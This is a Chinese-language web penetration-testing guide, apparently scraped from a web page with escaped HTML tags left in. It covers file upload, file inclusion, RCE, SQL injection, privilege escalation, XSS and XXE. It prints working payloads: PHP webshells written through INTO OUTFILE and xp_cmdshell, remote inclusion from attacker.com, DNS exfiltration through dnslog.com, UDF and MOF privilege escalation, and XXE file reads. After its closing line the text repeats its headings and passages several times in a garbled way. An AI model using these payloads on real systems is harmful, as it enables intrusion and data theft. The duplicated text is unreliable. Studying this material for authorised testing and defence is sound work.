Web漏洞深度解析与实战指南<\/h1>

文件上传漏洞<\/h2>

绕过手法详解<\/h3>

客户端JS绕过<\/h4>

原理<\/strong>：仅在前端检查文件类型，未在后端进行二次验证
绕过方法<\/strong>：<\/p>

禁用JavaScript：在浏览器中禁用JavaScript，或使用BurpSuite修改文件名后缀<\/li>
抓包修改：上传合法图片文件后，使用Burp Suite拦截数据包，将文件名修改为恶意后缀<\/li> <\/ul>
MIME类型绕过<\/h4>
原理<\/strong>：服务器仅检查Content-Type字段验证文件类型
绕过方法<\/strong>：<\/p>

修改Content-Type：将恶意文件的Content-Type从application\/octet-stream修改为image\/jpeg<\/li> <\/ul>
文件头内容检测绕过（魔术字节）<\/h4>
技术<\/strong>：制作"图片马"
实现步骤<\/strong>：<\/p>

创建最小图片文件(1.jpg)和恶意文件(shell.php)<\/li>
使用命令合并：copy 1.jpg\/b + shell.php\/a webshell.jpg<\/code><\/li>
结合文件包含漏洞执行：include('webshell.jpg')<\/code><\/li> <\/ol> 文件名、路径绕过<\/h4> 黑名单绕过技术<\/strong>：<\/p> 大小写绕过：shell.Php、shell.pHP<\/li> 文件后缀加空格或点：shell.php （空格）、shell.php.（点）<\/li> 双重扩展名：shell.php.jpg<\/li> 特殊字符：shell.php%00.jpg（00截断）<\/li> <\/ul> 白名单绕过技术<\/strong>：<\/p> Apache解析漏洞：配置AddHandler php5-script .jpg<\/li> IIS 6.0目录解析：\/xx.asp\/shell.jpg<\/li> IIS 7.0\/7.5：web.config配置文件解析漏洞<\/li> <\/ul> 竞争条件（Race Condition）<\/h4> 原理<\/strong>：利用文件上传与安全检查的时间差利用步骤<\/strong>：<\/p> 上传包含恶意代码的脚本文件<\/li> 在文件被删除前快速访问执行<\/li> 恶意脚本创建持久化Webshell<\/li> <\/ol> 文件包含漏洞<\/h2> 协议利用详解<\/h3> 本地文件包含(LFI)协议<\/h4> file:\/\/<\/strong>：直接引用本地文件系统文件<\/li> 路径遍历：利用..\/<\/code>访问Web根目录外敏感文件<\/li> <\/ul> 远程文件包含(RFI)协议<\/h4> 前提条件<\/strong>：allow_url_include和allow_url_fopen均开启<\/p> allow_url_fopen：允许文件操作函数访问远程URL资源<\/li> allow_url_include：允许包含函数包含远程文件（高危）<\/li> <\/ul> PHP伪协议利用<\/h4> php:\/\/filter<\/strong>：读取PHP文件源码，获取敏感信息 php:\/\/input<\/strong>：从POST请求体读取数据并执行 data:\/\/<\/strong>：在URL中直接嵌入数据执行 phar:\/\/<\/strong>：用于反序列化攻击，可改为任意后缀<\/p> 拿Shell技术<\/h3> 本地文件包含拿Shell<\/h4> 日志文件Getshell<\/strong>：<\/p> 注入恶意代码到access.log：GET \/<?php system('whoami');?><\/code><\/li> 包含日志文件：include('\/var\/log\/apache2\/access.log')<\/code><\/li> <\/ol> Session文件拿Shell<\/strong>：<\/p> 控制Session值注入恶意代码<\/li> 通过PHPSESSID获取Session文件路径<\/li> 包含Session文件执行代码<\/li> <\/ol> \/proc\/self\/environ拿Shell<\/strong>：<\/p> 设置恶意User-Agent头<\/li> 包含环境变量文件执行代码<\/li> <\/ol> 远程文件包含拿Shell<\/h4> 制作Webshell文件托管在攻击服务器<\/li> 启动HTTP服务：python -m http.server 80<\/code><\/li> 远程包含执行：include('http:\/\/attacker.com\/shell.txt')<\/code><\/li> <\/ol> 远程代码执行(RCE)<\/h2> 漏洞原理与区别<\/h3> 命令执行<\/strong>：操作系统层面执行系统命令代码执行<\/strong>：编程语言解释器层面执行代码<\/p> 利用其他漏洞实现RCE<\/h3> SQL注入转RCE<\/h4> MySQL root权限调用sys_exec()<\/li> Payload：select sys_exec('ls \/etc');<\/code><\/li> <\/ul> SSTI转RCE<\/h4> 漏洞代码：return render_template_string("Hello " + name)<\/code><\/li> Payload：{{ __import__('os').popen('ls').read() }}<\/code><\/li> <\/ul> XXE转RCE<\/h4> 条件：支持expect协议<\/li> Payload：<!ENTITY xxe SYSTEM "expect:\/\/id"><\/code><\/li> <\/ul> 代码执行函数汇总<\/h3> PHP危险函数<\/h4> 代码执行：eval()、assert()、preg_replace()（\/e模式）<\/li> 命令执行：system()、exec()、shell_exec()、passthru()<\/li> <\/ul> Python危险函数<\/h4> 代码执行：exec()、eval()<\/li> 命令执行：os.system()、subprocess.call()<\/li> <\/ul> Java危险函数<\/h4> 代码执行：ScriptEngine.eval()、Runtime.exec()<\/li> <\/ul> RCE防御措施<\/h3> 输入严格过滤：白名单限制字符\/命令<\/li> 避免直接拼接：使用安全API参数化调用<\/li> 最小权限运行：应用程序以低权限用户运行<\/li> 禁用危险函数：通过php.ini的disable_functions禁用<\/li> <\/ul> SQL注入高级技巧<\/h2> WAF绕过技术<\/h3> 请求头注入点<\/h4> User-Agent：' OR 1=1--<\/code><\/li> X-Forwarded-For：记录真实IP的头部<\/li> Cookie：会话信息参与SQL查询<\/li> Referer：来源页面信息利用<\/li> <\/ul> 单引号过滤绕过<\/h4> 双引号替换：id="1"<\/code><\/li> 十六进制编码：id=0x27206f7220313d31202d2d20<\/code><\/li> 宽字节注入：利用GBK编码%df<\/code>吃掉转义字符<\/li> 反斜线绕过：利用\<\/code>闭合addslashes添加的转义<\/li> <\/ul> 盲注过滤if绕过<\/h4> 替代技术<\/strong>：<\/p> CASE WHEN语句：CASE WHEN condition THEN value1 ELSE value2 END<\/code><\/li> UNION+错误信息：利用UNION触发自定义错误<\/li> 位运算和LIKE：逐位判断数据<\/li> BENCHMARK()函数：造成可控延时<\/li> GET_LOCK()函数：利用锁等待实现时间盲注<\/li> <\/ul> 无回显利用技术<\/h3> DNSLOG构造<\/h4> MySQL\/MariaDB<\/strong>：<\/p> LOAD_FILE()结合UNC路径：SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.dnslog.com\\test'))<\/code><\/li> <\/ul> SQL Server<\/strong>：<\/p> xp_cmdshell执行ping：EXEC xp_cmdshell 'ping ' + (SELECT DB_NAME()) + '.dnslog.com'<\/code><\/li> <\/ul> PostgreSQL<\/strong>：<\/p> 利用DNS查询特性：SELECT * FROM users WHERE id=1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.dnslog.com'))<\/code><\/li> <\/ul> 写Shell条件与技术<\/h3> 必要条件<\/h4> File权限：具备LOAD_FILE()、INTO OUTFILE等文件操作权限<\/li> 可写路径：目标路径对Web服务器可写<\/li> 无WAF拦截：无强大的Web应用防火墙<\/li> <\/ul> MySQL写Shell<\/h4> SELECT<\/span> '<?php system($_GET["cmd"]);?>'<\/span> <\/span><\/span>INTO<\/span> OUTFILE '\/var\/www\/html\/shell.php'<\/span> <\/span><\/span><\/code><\/pre>SQL Server写Shell<\/h4> EXEC<\/span> xp_cmdshell 'echo ^<?php system($_GET["cmd"]);?^> > C:\inetpub\wwwroot\shell.php'<\/span> <\/span><\/span><\/code><\/pre>高级提权技术<\/h2> MySQL提权方法<\/h3> UDF提权<\/h4> 前提条件<\/strong>：<\/p> CREATE FUNCTION和FILE权限<\/li> 知晓MySQL插件目录<\/li> 版本架构匹配的UDF库文件<\/li> <\/ul> 攻击步骤<\/strong>：<\/p> 上传恶意UDF库文件到插件目录<\/li> 注册自定义函数：CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'<\/code><\/li> 执行系统命令：SELECT sys_exec('id')<\/code><\/li> <\/ol> MOF提权（仅Windows）<\/h4> 原理<\/strong>：利用WMI服务自动加载MOF文件攻击步骤<\/strong>：<\/p> 编写恶意MOF文件包含命令执行逻辑<\/li> 写入系统MOF目录：SELECT ... INTO OUTFILE 'C:\/windows\/system32\/wbem\/mof\/hack.mof'<\/code><\/li> 系统自动加载执行<\/li> <\/ol> 绕过disable_functions限制<\/h3> 成功率最高方法：LD_PRELOAD劫持<\/h4> 原理<\/strong>：上传自定义共享库，通过putenv预加载劫持系统函数条件<\/strong>：putenv和mail等函数未被禁用<\/p> 其他绕过方法<\/h4> PHP扩展漏洞：利用imap、gd等扩展的命令注入<\/li> FFI扩展：直接调用系统函数<\/li> Windows COM组件：通过COM("WScript.Shell")调用命令<\/li> <\/ul> XSS深度利用<\/h2> 持久化控制技术<\/h3> XSS劫持管理员会话<\/h4> 在管理员常访问页面注入恶意JS<\/li> 窃取cookie、sessionStorage等会话信息<\/li> 伪造管理员身份登录<\/li> <\/ol> 后台管理页面后门注入<\/h4> 获取后台访问权限<\/li> 注入自动化操作脚本<\/li> 创建新管理员账户或修改配置<\/li> <\/ol> WebSocket连接劫持<\/h4> 注入WebSocket劫持代码<\/li> 监控LOCALstorage标志<\/li> 静默加载远程执行脚本<\/li> <\/ol> 浏览器屏幕截图<\/h4> 利用html2canvas.js库<\/li> 截取DOM元素转换为图片数据<\/li> 发送到攻击服务器实时监控<\/li> <\/ol> localStorage持久化后门<\/h4> 通过XSS将恶意代码存入localStorage<\/li> 在主JS文件中添加检查代码<\/li> 实现持久化执行<\/li> <\/ol> 内网渗透利用<\/h3> 端口扫描与服务识别<\/h4> 利用``标签加载内网IP和端口<\/li> 根据onerror\/onload事件判断端口状态<\/li> 通过响应头识别服务类型和版本<\/li> <\/ul> 内网设备攻击<\/h4> 利用CSRF漏洞修改路由器密码<\/li> 攻击存在默认凭证的管理系统<\/li> 利用已知漏洞攻击内网服务<\/li> <\/ul> XXE漏洞利用<\/h2> 基本攻击向量<\/h3> 文件读取<\/h4> <?xml version="1.0"?><\/span> <\/span><\/span><!DOCTYPE data [ <\/span><\/span><\/span><!ENTITY xxe SYSTEM "file:\/\/\/etc\/passwd"><\/span> <\/span><\/span>]> <\/span><\/span><data><\/span>&xxe;<\/data><\/span> <\/span><\/span><\/code><\/pre>拒绝服务攻击<\/h4> 十亿笑脸攻击<\/strong>：<\/p> <!DOCTYPE data [ <\/span><\/span><\/span><!ENTITY lol "lol"><\/span> <\/span><\/span><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;"><\/span> <\/span><\/span><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;"><\/span> <\/span><\/span>]> <\/span><\/span><data><\/span>&lol3;<\/data><\/span> <\/span><\/span><\/code><\/pre>内网端口扫描<\/h4> <!DOCTYPE data [ <\/span><\/span><\/span><!ENTITY xxe SYSTEM "http:\/\/192.168.1.1:80\/"><\/span> <\/span><\/span>]> <\/span><\/span><data><\/span>&xxe;<\/data><\/span> <\/span><\/span><\/code><\/pre>盲注XXE技术<\/h3> 带外数据提取<\/h4> 攻击服务器托管恶意DTD文件<\/li> 目标服务器解析XML时请求外部DTD<\/li> 通过HTTP请求带出文件内容<\/li> <\/ol> 错误信息利用<\/h4> 利用参数实体触发解析错误<\/li> 通过错误信息带出敏感数据<\/li> 适用于无法直接外传数据的场景<\/li> <\/ol> DNSlog数据提取<\/h4> 利用DNS查询子域名带出数据<\/li> 适用于HTTP协议被过滤的环境<\/li> 通过DNS日志获取命令执行结果<\/li> <\/ol> 数据库特性与区别<\/h2> MySQL版本差异<\/h3> 5.0以上版本<\/h4> 存在information_schema数据库<\/li> 方便枚举数据库结构<\/li> 支持更好的并发控制<\/li> <\/ul> 5.0以下版本<\/h4> 无information_schema数据库<\/li> 依赖盲注和字典攻击<\/li> 并发控制机制相对简单<\/li> <\/ul> 数据库识别技术<\/h3> 报错信息识别<\/h4> MySQL：You have an error in your SQL syntax<\/code><\/li> SQL Server：Microsoft OLE DB Provider<\/code><\/li> Oracle：ORA-01756: quoted string not properly terminated<\/code><\/li> PostgreSQL：PostgreSQL query failed<\/code><\/li> <\/ul> 函数语法差异<\/h4> 字符串拼接<\/strong>：<\/p> MySQL：concat('a','b')<\/code><\/li> SQL Server：'a'+'b'<\/code><\/li> Oracle：'a'||'b'<\/code><\/li> <\/ul> 注释符号<\/strong>：<\/p> MySQL\/PostgreSQL：--<\/code>、#<\/code><\/li> SQL Server\/Oracle：--<\/code><\/li> <\/ul> MySQL变量系统<\/h3> 用户变量(@)<\/h4> 作用域：当前会话有效<\/li> 用途：存储临时数据，在多条SQL间传递值<\/li> 示例：SET @var_name = value;<\/code><\/li> <\/ul> 系统变量(@@)<\/h4> 全局变量(@@global)：影响所有会话<\/li> 会话变量(@@session)：仅影响当前会话<\/li> 用途：管理和调整数据库配置<\/li> <\/ul> 实战技巧与工具使用<\/h2> SQLMap脚本利用<\/h3> 编码混淆脚本<\/h4> charencode.py：URL编码绕过<\/li> randomcase.py：关键字大小写随机化<\/li> space2comment.py：空格替换为注释<\/li> <\/ul> 特定WAF绕过<\/h4> modsecurityzeroversioned.py：绕过ModSecurity<\/li> xforwardedfor.py：伪造X-Forwarded-For头<\/li> sp_password.py：绕过MS-SQL Server日志记录<\/li> <\/ul> 数据提取与利用<\/h3> ASP数据库利用<\/h4> 使用Microsoft Access打开.mdb文件<\/li> 查看用户表和密码字段<\/li> 识别哈希类型并破解<\/li> <\/ol> 端口扫描结果利用<\/h4> 识别开放服务类型<\/li> 尝试默认凭证登录<\/li> 利用已知漏洞攻击<\/li> <\/ol> 本教学文档全面覆盖了Web安全中常见的漏洞类型、利用技术和防御措施，为安全研究人员和渗透测试人员提供了完整的技术参考。在实际测试中，请确保获得合法授权，遵守相关法律法规。<\/p>

Web漏洞深度解析与实战指南<\/h1>

文件上传漏洞<\/h2>

绕过手法详解<\/h3>

文件包含漏洞<\/h2>

协议利用详解<\/h3>

PHP伪协议利用<\/h4>
php:\/\/filter<\/strong>：读取PHP文件源码，获取敏感信息
php:\/\/input<\/strong>：从POST请求体读取数据并执行
data:\/\/<\/strong>：在URL中直接嵌入数据执行
phar:\/\/<\/strong>：用于反序列化攻击，可改为任意后缀<\/p>

远程代码执行(RCE)<\/h2>

漏洞原理与区别<\/h3>
命令执行<\/strong>：操作系统层面执行系统命令
代码执行<\/strong>：编程语言解释器层面执行代码<\/p>

代码执行函数汇总<\/h3>

SQL注入高级技巧<\/h2>

WAF绕过技术<\/h3>

无回显利用技术<\/h3>

写Shell条件与技术<\/h3>

高级提权技术<\/h2>

MySQL提权方法<\/h3>

绕过disable_functions限制<\/h3>

成功率最高方法：LD_PRELOAD劫持<\/h4>
原理<\/strong>：上传自定义共享库，通过putenv预加载劫持系统函数
条件<\/strong>：putenv和mail等函数未被禁用<\/p>

XSS深度利用<\/h2>

持久化控制技术<\/h3>

内网渗透利用<\/h3>

XXE漏洞利用<\/h2>

基本攻击向量<\/h3>

盲注XXE技术<\/h3>

数据库特性与区别<\/h2>

MySQL版本差异<\/h3>

数据库识别技术<\/h3>

MySQL变量系统<\/h3>

实战技巧与工具使用<\/h2>

SQLMap脚本利用<\/h3>

数据提取与利用<\/h3>

Web漏洞深度解析与实战指南<\/h1>

文件上传漏洞<\/h2>

绕过手法详解<\/h3>

文件包含漏洞<\/h2>

协议利用详解<\/h3>

PHP伪协议利用<\/h4> php:\/\/filter<\/strong>：读取PHP文件源码，获取敏感信息 php:\/\/input<\/strong>：从POST请求体读取数据并执行 data:\/\/<\/strong>：在URL中直接嵌入数据执行 phar:\/\/<\/strong>：用于反序列化攻击，可改为任意后缀<\/p>

远程代码执行(RCE)<\/h2>

漏洞原理与区别<\/h3> 命令执行<\/strong>：操作系统层面执行系统命令 代码执行<\/strong>：编程语言解释器层面执行代码<\/p>

代码执行函数汇总<\/h3>

SQL注入高级技巧<\/h2>

WAF绕过技术<\/h3>

无回显利用技术<\/h3>

写Shell条件与技术<\/h3>

高级提权技术<\/h2>

MySQL提权方法<\/h3>

绕过disable_functions限制<\/h3>

成功率最高方法：LD_PRELOAD劫持<\/h4> 原理<\/strong>：上传自定义共享库，通过putenv预加载劫持系统函数 条件<\/strong>：putenv和mail等函数未被禁用<\/p>

XSS深度利用<\/h2>

持久化控制技术<\/h3>

内网渗透利用<\/h3>

XXE漏洞利用<\/h2>

基本攻击向量<\/h3>

盲注XXE技术<\/h3>

数据库特性与区别<\/h2>

MySQL版本差异<\/h3>

数据库识别技术<\/h3>

MySQL变量系统<\/h3>

实战技巧与工具使用<\/h2>

SQLMap脚本利用<\/h3>

数据提取与利用<\/h3>

PHP伪协议利用<\/h4>
php:\/\/filter<\/strong>：读取PHP文件源码，获取敏感信息
php:\/\/input<\/strong>：从POST请求体读取数据并执行
data:\/\/<\/strong>：在URL中直接嵌入数据执行
phar:\/\/<\/strong>：用于反序列化攻击，可改为任意后缀<\/p>

漏洞原理与区别<\/h3>
命令执行<\/strong>：操作系统层面执行系统命令
代码执行<\/strong>：编程语言解释器层面执行代码<\/p>

成功率最高方法：LD_PRELOAD劫持<\/h4>
原理<\/strong>：上传自定义共享库，通过putenv预加载劫持系统函数
条件<\/strong>：putenv和mail等函数未被禁用<\/p>